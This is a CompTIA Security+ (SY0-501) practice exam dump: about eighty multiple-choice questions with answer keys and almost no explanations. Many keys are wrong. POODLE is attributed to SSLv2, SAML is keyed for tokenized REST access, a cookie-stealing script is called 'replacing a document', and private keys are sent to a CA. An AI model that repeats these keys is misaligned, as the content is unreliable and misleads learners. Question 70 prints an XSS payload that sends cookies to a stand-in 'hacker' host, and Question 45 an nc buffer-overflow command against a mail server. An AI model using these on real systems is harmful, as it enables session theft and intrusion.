**SY0-501 2-26-2018**

Passing Score: 850

Time Limit: 500 min

**2017**

**QUESTION 1**

A security administrator wants to implement a logon script that will prevent MITM attacks on the local LAN.

Which of the following commands should the security administrator implement within the script to accomplish

this task?

A. arp - s 192.168.1.1 00-3a-d1-fa-b1-06

B. dig - x@192.168.1.1 mypc.comptia.com

C. nmap - A - T4 192.168.1.1

D. tcpdump - lnv host 192.168.1.1 or either 00:3a:d1:fa:b1:06

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 2**

Which of the following is the BEST reason for salting a password hash before it is stored in a database?

A. To prevent duplicate values from being stored

B. To make the password retrieval process very slow

C. To protect passwords from being saved in readable format

D. To prevent users from using simple passwords for their access credentials

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 3**

An actor downloads and runs a program against a corporate login page. The program imports a list of

usernames and passwords, looking for a successful attempt. Which of the following terms BEST describes the

actor in this situation?

A. Script kiddie

B. Hacktivist

C. Cryptologist

D. Security auditor

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 4**

An organization wants to utilize a common, Internet-based third-party provider for authorization and

authentication. The provider uses a technology based on OAuth 2.0 to provide required services. To which of

the following technologies is the provider referring?

A. OpenID Connect

B. SAML

C. XACML

D. LDAP

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 5**

A penetration tester harvests potential usernames from a social networking site. The penetration tester then

uses social engineering to attempt to obtain associated passwords to gain unauthorized access to shares on a

network server. Which of the following methods is the penetration tester MOST likely using?

A. Escalation of privilege

B. SQL injection

C. Active reconnaissance

D. Proxy server

**Correct Answer:** C

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 6**

Which of the following could occur when both strong and weak ciphers are configured on a VPN concentrator?

(Select TWO)

A. An attacker could potentially perform a downgrade attack.

B. The connection is vulnerable to resource exhaustion.

C. The integrity of the data could be at risk.

D. The VPN concentrator could revert to L2TP.

E. The IPSec payload reverted to 16-bit sequence numbers.

**Correct Answer:** AE

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 7**

Which of the following is the BEST choice for a security control that represents a preventive and corrective

logical control at the same time?

A. Security awareness training

B. Antivirus

C. Firewalls

D. Intrusion detection system

**Correct Answer:** B

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 8**

A web developers improves client access to the company's REST API. Authentication needs to be tokenized

but not expose the client's password. Which of the following methods would BEST meet the developer's

requirements?

A. SAML

B. LDAP

C. OAuth

D. Shibboleth

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 9**

A vulnerability scan is being conducted against a desktop system. The scan is looking for files, versions, and

registry values known to be associated with system vulnerabilities. Which of the following BEST describes the

type of scan being performed?

A. Non-intrusive

B. Authenticated

C. Credentialed

D. Active

**Correct Answer:** C

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 10**

A security analyst is updating a BIA document. The security analyst notices the support vendor's time to replace

a server hard drive went from eight hours to two hours. Given these new metrics, which of the following can be

concluded? (Select TWO)

A. The MTTR is faster.

B. The MTTR is slower.

C. The RTO has increased.

D. The RTO has decreased.

E. The MTTF has increased.

F. The MTTF has decreased.

**Correct Answer:** AD

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 11**

Which of the following could help detect trespassers in a secure facility? (Select TWO)

A. Faraday cages

B. Motion-detection sensors

C. Tall, chain-link fencing

D. Security guards

E. Smart cards

**Correct Answer:** BD

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 12**

The IT department is deploying new computers. To ease the transition, users will be allowed to access their old

and new systems. The help desk is receive reports that users are experiencing the following error when

attempting to log in to their previous system:

Logon Failure: Access Denied

Which of the following can cause this issue?

A. Permission issues

B. Access violations

C. Certificate issues

D. Misconfigured devices

**Correct Answer:** C

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 13**

A third-party penetration testing company was able to successfully use an ARP cache poison technique to gain

root access on a server. The tester successfully moved to another server that was not in the original network.

Which of the following is the MOST likely method used to gain access to the other host?

A. Backdoor

B. Pivoting

C. Persistance

D. Logic bomp

**Correct Answer:** B

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 14**

Ann, a security administrator, wants to ensure credentials are encrypted in transit when implementing a

RADIUS server for SSO. Which of the following are needed given these requirements? (Select TWO)

A. Public key

B. Shared key

C. Elliptic curve

D. MD5

E. Private key

F. DES

**Correct Answer:** AE

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 15**

The POODLE attack is a MITM exploit that affects:

A. TLS1.0 with CBC mode cipher.

B. SSLv2.0 with CBC mode cipher,

C. SSLv3.0 with CBC mode cipher.

D. SSLv3.0 with ECB mode cipher.

**Correct Answer:** B

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 16**

To determine the ALE of a particular risk, which of the following must be calculated? (Select TWO).

A. ARO

B. ROI

C. RPO

D. SLE

E. RTO

**Correct Answer:** AD

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 17**

Which of the following are used to increase the computing time it takes to brute force a password using an

offline attack? (Select TWO)

A. XOR

B. PBKDF2

C. bcrypt

D. HMAC

E. RIPEMD

**Correct Answer:** BC

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 18**

Users in a corporation currently authenticate with a username and password. A security administrator wishes to

implement two-factor authentication to improve security. Which of the following authentication methods should

be deployed to achieve this goal?

A. PIN

B. Security question

C. Smart card

D. Passphrase

E. CAPTCHA

**Correct Answer:** C

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 19**

A security administrator needs to address the following audit recommendations for a public-facing SFTP server:

Users should be restricted to upload and download files to their own home directories only.

Users should not be allowed to use interactive shell login.

Which of the following configuration parameters should be implemented? (Select TWO).

A. PermitTunnel

B. ChrootDirectory

C. PermitTTY

D. AllowTcpForwarding

E. IgnoreRhosts

**Correct Answer:** BC

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 20**

An organization recently moved its custom web applications to the cloud, and it is obtaining managed services

of the back-end environment as part of its subscription. Which of the following types of services is this company

now using?

A. SaaS

B. CASB

C. IaaS

D. PaaS

**Correct Answer:** B

**Section: (none)**

**Explanation**

**Explanation/Reference:**

Security Broker (CASB) gives you both visibility into your entire cloud stack and the security automation tool

your IT team needs.

**QUESTION 21**

Which of the following is commonly done as part of a vulnerability scan?

A. Exploiting misconfigured applications

B. Cracking employee passwords

C. Sending phishing emails to employees

D. Identifying unpatched workstations

**Correct Answer:** D

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 22**

A company is evaluating cloud providers to reduce the cost of its internal IT operations. The company's aging

systems are unable to keep up with customer demand. Which of the following cloud models will the company

MOST likely select?

A. PaaS

B. SaaS

C. IaaS

D. BaaS

**Correct Answer:** C

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 23**

After a security incident, management is meeting with involved employees to document the incident and its

aftermath. Which of the following BEST describes this phase of the incident response process?

A. Lessons learned

B. Recovery

C. Identification

D. Preparation

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 24**

After an identified security breach, an analyst is tasked to initiate the IR process. Which of the following is the

NEXT step the analyst should take?

A. Recovery

B. Identification

C. Preparation

D. Documentation

E. Escalation

**Correct Answer:** B

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 25**

A user needs to send sensitive information to a colleague using PKI. Which of the following concepts apply

when a sender encrypts the message hash with the sender's private key? (Select TWO)

A. Non-repudiation

B. Email content encryption

C. Steganography

D. Transport security

E. Message integrity

**Correct Answer:** AE

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 26**

A technician suspects that a system has been compromised. The technician reviews the following log entry:

WARNING - hash mismatch: C:\Window\SysWOW64\user32.dll

WARNING - hash mismatch: C:\Window\SysWOW64\kernel32.dll

Based solely on the above information, which of the following types of malware is MOST likely installed on the

system?

A. Rootkit

B. Ransomware

C. Trojan

D. Backdoor

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 27**

As part of a new BYOD rollout, a security analyst has been asked to find a way to securely store company data

on personal devices. Which of the following would BEST help to accomplish this?

A. Require the use of an eight-character PIN.

B. Implement containerization of company data.

C. Require annual AUP sign-off.

D. Use geofencing tools to unlock devices while on the premises.

**Correct Answer:** B

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 28**

A web server, which is configured to use TLS with AES-GCM-256, SHA-384, and ECDSA, recently suffered an

information loss breach. Which of the following is MOST likely the cause?

A. Insufficient key bit length

B. Weak cipher suite

C. Unauthenticated encryption method

D. Poor implementation

**Correct Answer:** D

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 29**

An incident involving a workstation that is potentially infected with a virus has occurred. The workstation may

have sent confidential data to an unknown internet server. Which of the following should a security analyst do

FIRST?

A. Make a copy of everything in memory on the workstation.

B. Turn off the workstation.

C. Consult the information security policy.

D. Run a virus scan.

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 30**

Which of the following BEST describes an important security advantage yielded by implementing vendor

diversity?

A. Sustainability

B. Homogeneity

C. Resiliency

D. Configurability

**Correct Answer:** C

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 31**

A dumpster diver recovers several hard drives from a company and is able to obtain confidential data from one

of the hard drives. The company then discovers its information is posted online. Which of the following methods

would have MOST likely prevented the data from being exposed?

A. Removing the hard drive from its enclosure

B. Using software to repeatedly rewrite over the disk space

C. Using Blowfish encryption on the hard drives

D. Using magnetic fields to erase the data

**Correct Answer:** D

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 32**

A manager wants to distribute a report to several other managers with the company. Some of them reside in

remote locations that are not connected to the domain but have a local server. Because there is sensitive data

within the report and the size of the report is beyond the limit of the email attachment size, emailing the report is

not an option. Which of the following protocols should be implemented to distribute the report securely? (Select

THREE)

A. S/MIME

B. SSH

C. SNMPv3

D. FTPS

E. SRTP

F. HTTPS

G. LDAPS

**Correct Answer:** BDF

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 33**

A vice president at a manufacturing organization is concerned about desktops being connected to the network.

Employees need to log onto the desktops' local account to verify that a product is being created within

specifications; otherwise, the desktops should be as isolated as possible. Which of the following is the BEST

way to accomplish this?

A. Put the desktops in the DMZ.

B. Create a separate VLAN for the desktops.

C. Air gap the desktops.

D. Join the desktops to an ad-hoc network.

**Correct Answer:** C

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 34**

An in-house penetration tester has been asked to evade a new DLP system. The tester plans to exfiltrate data

through steganography. Discovery of which of the following would help catch the tester in the act?

A. Abnormally high numbers of outgoing instant messages that contain obfuscated text

B. Large-capacity USB drives on the tester's desk with encrypted zip files

C. Outgoing emails containing unusually large image files

D. Unusual SFTP connections to a consumer IP address

**Correct Answer:** C

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 35**

A member of the admins group reports being unable to modify the "changes" file on a server. The permissions

on the file are as follows:

Permissions User Group File

-rwxrw-r--+ Admins Admins changes

Based on the output above, which of the following BEST explains why the user is unable to modify the

"changes" file?

A. The SELinux mode on the server is set to "enforcing."

B. The SELinux mode on the server is set to "permissive."

C. An FACL has been added to the permissions for the file.

D. The admins group does not have adequate permissions to access the file.

**Correct Answer:** C

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 36**

A penetration tester is conducting an assessment on Comptia.org and runs the following command from a

coffee shop while connected to the public Internet:

c:\nslookup -querytype=MX comptia.org

Server: Unknown

Address: 198.51.100.45

comptia.org MX preference=10, mail exchanger = 92.68.102.33

comptia.org MX preference=20, mail exchanger = exchg1.comptia.org

exchg1.comptia.org internet address = 192.168.102.67

Which of the following should the penetration tester conclude about the command output?

A. The public/private views on the Comptia.org DNS servers are misconfigured.

B. Comptia.org is running an older mail server, which may be vulnerable to exploits.

C. The DNS SPF records have not been updated for Comptia.org.

D. 192.168.102.67 is a backup mail server that may be more vulnerable to attack.

**Correct Answer:** D

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 37**

A security analyst is inspecting the results of a recent internal vulnerability scan that was performed against

intranet services. The scan reports include the following critical-rated vulnerability:

Title: Remote Command Execution vulnerability in web server

Rating: Critical (CVSS 10.0)

Threat actor: any remote user of the web server

Confidence: certain

Recommendation: apply vendor patches

Which of the following actions should the security analyst perform FIRST?

A. Escalate the issue to senior management.

B. Apply organizational context to the risk rating.

C. Organize for urgent out-of-cycle patching.

D. Exploit the server to check whether it is a false positive.

**Correct Answer:** B

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 38**

Company A agrees to provide perimeter protection, power, and environmental support with measurable goals

for Company B, but will not be responsible for user authentication or patching of operating systems within the

perimeter. Which of the following is being described?

A. Service level agreement

B. Memorandum of understanding

C. Business partner agreement

D. Interoperability agreement

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 39**

A company is deploying smartphones for its mobile salesforce. These devices are for personal and business

use but are owned by the company. Sales personnel will save new customer data via a custom application

developed for the company. This application will integrate with the contact information stored in the

smartphones and will populate new customer records onto it. The customer application's data is encrypted at

rest, and the application's connection to the back office system is considered secure. The Chief Information

Security Officer (CISO) has concerns that customer contact information may be accidentally leaked due to the

limited security capabilities of the devices and the planned controls. Which of the following will be the MOST

efficient security control to implement to lower this risk?

A. Implement a mobile data loss agent on the devices to prevent any user manipulation with the contact

information.

B. Restrict screen capture features on the devices when using the custom application and the contact

information.

C. Restrict contact information storage dataflow so it is only shared with the customer application.

D. Require complex passwords for authentication when accessing the contact information.

**Correct Answer:** C

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 40**

The Chief Information Security Officer (CISO) is asking for ways to protect against zero-day exploits. The CISO

is concerned that an unrecognized threat could compromise corporate data and result in regulatory fines as

well as poor corporate publicity. The network is mostly flat, with split staff/guest wireless functionality. Which of

the following equipment MUST be deployed to guard against unknown threats?

A. Cloud-based antivirus solution, running as local admin, with push technology for definition updates

B. Implementation of an off-site datacenter hosting all company data, as well as deployment of VDI for all client

computing needs

C. Host-based heuristic IPS, segregated on a management VLAN, with direct control of the perimeter firewall

ACLs

D. Behavior-based IPS with a communication link to a cloud-based vulnerability and threat feed

**Correct Answer:** D

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 41**

An organization has several production-critical SCADA supervisory systems that cannot follow the normal 30-

day patching policy. Which of the following BEST maximizes the protection of these systems from malicious

software?

A. Configure a firewall with deep packet inspection that restricts traffic to the systems.

B. Configure a separate zone for the systems and restrict access to known ports.

C. Configure the systems to ensure only necessary applications are able to run.

D. Configure the host firewall to ensure only the necessary applications have listening ports.

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 42**

An organization identifies a number of hosts making outbound connections to a known malicious IP over port

TCP 80. The organization wants to identify the data being transmitted and prevent future connections to this IP.

Which of the following should the organization do to achieve this outcome?

A. Use a protocol analyzer to reconstruct the data and implement a web-proxy.

B. Deploy a web-proxy and then blacklist the IP on the firewall.

C. Deploy a web-proxy and implement IPS at the network edge.

D. Use a protocol analyzer to reconstruct the data and blacklist the IP on the firewall.

**Correct Answer:** D

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 43**

Legal authorities notify a company that its network has been compromised for the second time in two years.

The investigation shows the attackers were able to use the same vulnerability on different systems in both

attacks. Which of the following would have allowed the security team to use historical information to protect

against the second attack?

A. Key risk indicators

B. Lessons learned

C. Recovery point objectives

D. Tabletop exercise

**Correct Answer:** B

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 44**

A small company's Chief Executive Officer (CEO) has asked its Chief Security Officer (CSO) to improve the

company's security posture quickly with regard to targeted attacks. Which of the following should the CSO

conduct FIRST?

A. Survey threat feeds from services inside the same industry.

B. Purchase multiple threat feeds to ensure diversity and implement blocks for malicious traffic.

C. Conduct an internal audit against industry best practices to perform a qualitative analysis.

D. Deploy a UTM solution that receives frequent updates from a trusted industry vendor.

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 45**

During a routine vulnerability assessment, the following command was successful:

echo "vrfy 'perl -e 'print "hi" x 500 ' ' " | nc www.company.com 25

Which of the following vulnerabilities is being exploited?

A. Buffer overflow directed at a specific host MTA

B. SQL injection directed at a web server

C. Cross-site scripting directed at www.company.com

D. Race condition in a UNIX shell script

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 46**

A forensic investigator has run into difficulty recovering usable files from a SAN drive. Which of the following

SAN features might have caused the problem?

A. Storage multipaths

B. Deduplication

C. iSCSI initiator encryption

D. Data snapshots

**Correct Answer:** B

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 47**

A company offers SaaS, maintaining all customers' credentials and authenticating locally. Many large

customers have requested the company offer some form of federation with their existing authentication

infrastructures. Which of the following would allow customers to manage authentication and authorizations from

within their existing organizations?

A. Implement SAML so the company's services may accept assertions from the customers' authentication

servers.

B. Provide customers with a constrained interface to manage only their users' accounts in the company's

active directory server.

C. Provide a system for customers to replicate their users' passwords from their authentication service to the

company's.

D. Use SOAP calls to support authentication between the company's product and the customers'

authentication servers.

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 48**

A software development manager is taking over an existing software development project. The team currently

suffers from poor communication due to a long delay between requirements documentation and feature

delivery. This gap is resulting in an above average number of security-related bugs making it into production.

Which of the following development methodologies is the team MOST likely using now?

A. Agile

B. Waterfall

C. Scrum

D. Spiral

**Correct Answer:** B

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 49**

Following the successful response to a data-leakage incident, the incident team lead facilitates an exercise that

focuses on continuous improvement of the organization's incident response capabilities. Which of the following

activities has the incident team lead executed?

A. Lessons learned review

B. Root cause analysis

C. Incident audit

D. Corrective action exercise

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 50**

A security analyst is attempting to break into a client's secure network. The analyst was not given prior

information about the client, except for a block of public IP addresses that are currently in use. After network

enumeration, the analyst's NEXT step is to perform:

A. a gray-box penetration test.

B. a risk analysis.

C. a vulnerability assessment.

D. an external security audit.

E. a red team exercise.

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 51**

A security architect has convened a meeting to discuss an organization's key management policy. The

organization has a reliable internal key management system, and some argue that it would be best to manage

the cryptographic keys internally as opposed to using a solution from a third party. The company should use:

A. the current internal key management system.

B. a third-party key management system that will reduce operating costs.

C. risk benefits analysis results to make a determination.

D. a software solution including secure key escrow capabilities.

**Correct Answer:** C

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 52**

After a recent internal breach, a company decided to regenerate and reissue all certificates used in the

transmission of confidential information. The company places the greatest importance on confidentiality and

non-repudiation, and decided to generate dual key pairs for each client. Which of the following BEST describes

how the company will use these certificates?

A. One key pair will be used for encryption and decryption. The other will be used to digitally sign the data.

B. One key pair will be used for encryption. The other key pair will provide extended validation.

C. Data will be encrypted once by each key, doubling the confidentiality and non-repudiation strength.

D. One key pair will be used for internal communication, and the other will be used for external

communication.

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 53**

A security manager is creating an account management policy for a global organization with sales personnel

who must access corporate network resources while traveling all over the world. Which of the following

practices is the security manager MOST likely to enforce with the policy? (Select TWO)

A. Time-of-day restrictions

B. Password complexity

C. Location-based authentication

D. Group-based access control

E. Standard naming convention

**Correct Answer:** BC

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 54**

A network administrator at a small office wants to simplify the configuration of mobile clients connecting to an

encrypted wireless network. Which of the following should be implemented if the administrator does not want to

provide the wireless password or certificate to the employees?

A. WPS

B. 802.1x

C. WPA2-PSK

D. TKIP

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 55**

A security administrator learns that PII, which was gathered by the organization, has been found in an open

forum. As a result, several C-level executives found their identities were compromised, and they were victims of

a recent whaling attack. Which of the following would prevent these problems in the future? (Select TWO).

A. Implement a reverse proxy.

B. Implement an email DLP.

C. Implement a spam filter.

D. Implement a host-based firewall.

E. Implement a HIDS.

**Correct Answer:** BC

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 56**

A security engineer is configuring a wireless network with EAP-TLS. Which of the following activities is a

requirement for this configuration?

A. Setting up a server

B. Configuring federation between authentication servers

C. Enabling TOTP

D. Deploying certificates to endpoint devices

**Correct Answer:** D

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 57**

Ann is the IS manager for several new systems in which the classification of the systems' data are being

decided. She is trying to determine the sensitivity level of the data being processed. Which of the following

people should she consult to determine the data classification?

A. Steward

B. Custodian

C. User

D. Owner

**Correct Answer:** D

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 58**

Which of the following BEST describes a network-based attack that can allow an attacker to take full control of

a vulnerable host?

A. Remote exploit

B. Amplification

C. Sniffing

D. Man-in-the-middle

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 59**

A systems administrator wants to generate a self-signed certificate for an internal website. Which of the

following steps should the systems administrator complete prior to installing the certificate on the server?

A. Provide the private key to a public CA.

B. Provide the public key to the internal CA.

C. Provide the public key to a public CA.

D. Provide the private key to the internal CA.

E. Provide the public/private key pair to the internal CA.

F. Provide the public/private key pair to a public CA.

**Correct Answer:** D

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 60**

A security analyst has received the following alert snippet from the HIDS appliance:

PROTOCOL SIG SRC.PORT DST.PORT

TCP XMAS SCAN 192.168.1.1:1091 192.168.1.2:8891

TCP XMAS SCAN 192.168.1.1:649 192.168.1.2:9001

TCP XMAS SCAN 192.168.1.1:2264 192.168.1.2:6455

TCP XMAS SCAN 192.168.1.1:3464 192.168.1.2:8744

Given the above logs, which of the following is the cause of the attack?

A. The TCP ports on destination are all open.

B. FIN, URG, and PSH flags are set in the packet header.

C. TCP MSS is configured improperly.

D. There is improper Layer 2 segmentation.

**Correct Answer:** B

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 61**

Which of the following controls allows a security guard to perform a post-incident review?

A. Detective

B. Preventive

C. Corrective

D. Deterrent

**Correct Answer:** C

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 62**

Attackers have been using revoked certificates for MITM attacks to steal credentials from employees of

Company.com. Which of the following options should Company.com implement to mitigate these attacks?

A. Captive portal

B. Extended validation certificate

C. OCSP stapling

D. Object identifiers

E. Key escrow

**Correct Answer:** C

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 63**

After attempting to harden a web server, a security analyst needs to determine if an application remains

vulnerable to SQL injection attacks. Which of the following would BEST assist the analyst in making this

determination?

A. tracert

B. Fuzzer

C. nslookup

D. Nmap

E. netcat

**Correct Answer:** B

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 64**

A company is allowing a BYOD policy for its staff. Which of the following is a best practice that can decrease

the risk of users jailbreaking mobile devices?

A. Install a corporately monitored mobile antivirus on the devices.

B. Prevent the installation of applications from a third-party application store.

C. Build a custom ROM that can prevent jailbreaking.

D. Require applications to be digitally signed.

**Correct Answer:** D

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 65**

Which of the following describes the key difference between vishing and phishing attacks?

A. Phishing is used by attackers to steal a person's identity.

B. Vishing attacks require some knowledge of the target of attack.

C. Vishing attacks are accomplished using telephony services.

D. Phishing is a category of social engineering attack.

**Correct Answer:** C

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 66**

Which of the following should a security analyst perform FIRST to determine the vulnerabilities of a legacy

system?

A. Passive scan

B. Aggressive scan

C. Credentialed scan

D. Intrusive scan

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 67**

Which of the following components of printers and MFDs are MOST likely to be used as vectors of compromise

if they are improperly configured?

A. Embedded web server

B. Spooler

C. Network interface

D. LCD control panel

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 68**

A hacker has a packet capture that contains:

....Joe Smith.........E289F21CD33E4F57890DDEA5CF267ED2..

...Jane.Doe...........AD1FAB10D33E4F57890DDEA5CF267ED2..

....John.Key..........3374E9E7E33E4F57890DDEA5CF267ED2..

Which of the following tools will the hacker use against this type of capture?

A. Password cracker

B. Vulnerability scanner

C. DLP scanner

D. Fuzzer

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 69**

A user downloads and installs an MP3 converter, and runs the application. Upon running the application, the

antivirus detects a new port in a listening state. Which of the following has the user MOST likely executed?

A. RAT

B. Worm

C. Ransomware

D. Bot

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 70**

An attacker exploited a vulnerability on a mail server using the code below.

<HTML><body

onload=document.location.replace ('http://hacker/post.asp?victim&message =" + document.cookie + "<br>" +

"URL:" +"document.location) ; />

</body>

</HTML>

Which of the following BEST explains what the attacker is doing?

A. The attacker is replacing a cookie.

B. The attacker is stealing a document.

C. The attacker is replacing a document.

D. The attacker is deleting a cookie.

**Correct Answer:** C

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 71**

A security analyst is securing smartphones and laptops for a highly mobile workforce. Priorities include:

Remote wipe capabilities

Geolocation services

Patch management and reporting

Mandatory screen locks

Ability to require passcodes and pins

Ability to require encryption

Which of the following would BEST meet these requirements?

A. Implementing MDM software

B. Deploying relevant group policies to the devices

C. Installing full device encryption

D. Removing administrative rights to the devices

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 72**

A technician receives a device with the following anomalies:

Frequent pop-up ads

Show response-time switching between active programs

Unresponsive peripherals

The technician reviews the following log file entries:

File Name Source MD5 Target MD5

Status

antivirus.exe F794F21CD33E4F57890DDEA5CF267ED2

F794F21CD33E4F57890DDEA5CF267ED2 Automatic

iexplore.exe 7FAAF21CD33E4F57890DDEA5CF29CCEA

AA87F21CD33E4F57890DDEAEE2197333 Automatic

service.exe 77FF390CD33E4F57890DDEA5CF28881F

77FF390CD33E4F57890DDEA5CF28881F Manual

USB.exe E289F21CD33E4F57890DDEA5CF28EDC0

E289F21CD33E4F57890DDEA5CF28EDC0 Stopped

Based on the above output, which of the following should be reviewed?

A. The web application firewall

B. The file integrity check

C. The data execution prevention

D. The removable media control

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 73**

A systems administrator is attempting to recover from a catastrophic failure in the datacenter. To recover the

domain controller, the systems administrator needs to provide the domain administrator credentials. Which of

the following account types is the systems administrator using?

A. Guest account

B. Service account

C. User account

D. Local Account

**Correct Answer:** C

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 74**

An organization plans to implement multifactor authentication techniques within the enterprise network

architecture. Each authentication factor is expected to be a unique control. Which of the following BEST

describes the proper employment of multifactor authentication?

A. Proximity card, fingerprint scanner, PIN

B. Fingerprint scanner, voice recognition, proximity card

C. Smart card, user PKI certificate, privileged user certificate

D. Voice recognition, smart card, proximity card

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**2018**

**QUESTION 1**

Multiple organizations operating in the same vertical want to provide seamless wireless access for their

employees as they visit the other organizations. Which of the following should be implemented if all the

organizations use the native 802.1x client on their mobile devices?

A. Shibboleth

B. RADIUS federation

C. SAML

D. OAuth

E. OpenlD connect

**Correct Answer:** B

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 2**

Upon entering an incorrect password, the logon screen displays a message informing the user that the

password does not match the username provided and is not the required length of 12 characters. Which of the

following secure coding techniques should a security analyst address with the application developers to follow

security best practices?

A. Input validation

B. Error handling

C. Obfuscation

D. Data exposure

**Correct Answer:** B

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 3**

A security administrator is developing controls for creating audit trails and tracking if a PHI data breach is to

occur. The administrator has been given the following requirements:

\*All access must be correlated to a user account.

\*All user accounts must be assigned to a single individual.

\*User access to the PHI data must be recorded.

\*Anomalies in PHI data access must be reported.

\*Logs and records cannot be deleted or modified.

Which of the following should the administrator implement to meet the above requirements? (Select THREE).

A. Eliminate shared accounts.

B. Create a standard naming convention for accounts.

C. Implement usage auditing and review.

D. Enable account lockout thresholds.

E. Copy logs in real time to a secured WORM drive.

F. Implement time-of-day restrictions.

G. Perform regular permission audits and reviews.

**Correct Answer:** ACE

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 4**

An administrator is replacing a wireless router. The configuration of the old wireless router was not documented

before it stopped functioning. The equipment connecting to the wireless network uses older legacy equipment

that was manufactured prior to the release of the 802.11i standard. Which of the following configuration options

should the administrator select for the new wireless router?

A. WPA+CCMP

B. WPA2+CCMP

C. WPA+TKIP

D. WPA2+TKIP

**Correct Answer:** C

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 5**

Which of the following threat actors is MOST likely to steal a company's proprietary information to gain a

market edge and reduce time to market?

A. Competitor

B. Hacktivist

C. Insider

D. Organized crime

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 6**

Which of the following BEST describes an important security advantage yielded by implementing vendor

diversity?

A. Sustainability

B. Homogeneity

C. Resiliency

D. Configurability

**Correct Answer:** C

**Section: (none)**

**Explanation**

**Explanation/Reference:**

